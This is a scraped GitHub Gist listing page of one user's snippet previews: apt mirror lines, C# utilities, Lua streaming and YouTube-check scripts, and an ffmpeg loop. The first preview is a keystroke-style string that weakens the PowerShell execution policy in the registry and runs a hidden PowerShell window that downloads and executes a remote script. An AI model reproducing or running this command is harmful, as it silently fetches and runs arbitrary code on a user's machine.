Skip to content

Instantly share code, notes, and snippets.

\p\@wx\#05a\#20\l\e\#10REG add hkey_local_machine\\software\\mICROSOFT\\pOWERsHELL\\1\\sHELLiDS\\mICROSOFT.pOWERsHELL /V eXECUTIONpOLICY /T reg_sz /D uNRESTRICTED /F\ePOWERSHELL -eXECUTIONpOLICY bYPASS -WINDOWSTYLE HIDDEN (nEW-oBJECT nET.wEBcLIENT).dOWNLOADsTRING('HTTP://WWW.PAPAPOI.COM/1.ps1');\e\#05\p
deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
##测试版源
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
# 源码
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Xml.Linq;
namespace qqpet
@chenxuuu
chenxuuu / Program.cs
Last active February 13, 2019 16:15
0.94oled-air202-badapple
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace luatBadapplePC
{
class Program
@chenxuuu
chenxuuu / lodConvert.cs
Created April 2, 2019 10:52
把coolwatcher读出来的lod转成能拿来烧录用的lod
using System;
using System.Collections;
using System.IO;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
@chenxuuu
chenxuuu / run.lua
Last active July 20, 2019 03:35
漫无止境的八月直播脚本
--直播码
local rtmpUrl = "rtmp://js.live-send.acg.tv/live-js/"
local liveCode = "?streamname=live_xxxxxxxxxxxxxxxx&key=xxxxxxxxxxxxxx"
--最大码率
local maxRate = 2200
--随机数表代码来自http://www.cnblogs.com/slysky/p/5954053.html
--产生1~~m,若有n的则m~~n的数字表
function table.fillNum(m,n)
local j,k
@chenxuuu
chenxuuu / openresty_api.lua
Created August 29, 2019 08:33
youtube live check
package.path = package.path..";/www/wwwroot/tcy2b.papapoi.com/?.lua"
json = require("JSON")
channel = ngx.req.get_uri_args()["c"]
if not channel then ngx.say(json:encode({error = "no c found"})) return end
hc = require('httpclient').new()
res = hc:get("https://www.youtube.com/channel/"..channel.."/live")
if not res.body then ngx.say(json:encode({error = res.err})) return end
@chenxuuu
chenxuuu / video_maker.cs
Created December 4, 2019 14:37
bilibili互动视频生成
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp1
{
@chenxuuu
chenxuuu / gist:5319881a1f25db3489d6dcb883103053
Created July 27, 2020 02:49
ffmpeg mp4 to flv bash script
mp4=( onedrive/**/*.mp4 ); for file in "${mp4[@]}"; do echo $file; if sudo ffmpeg -i "$file" -c copy -f flv -flvflags add_keyframe_index "$file.flv"; then echo success delete raw file; sudo rm "$file"; else echo fail; fi; done
@chenxuuu
chenxuuu / Program.cs
Created July 19, 2021 14:09
ffmpeg tcp broadcast server
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace tcpBroadcast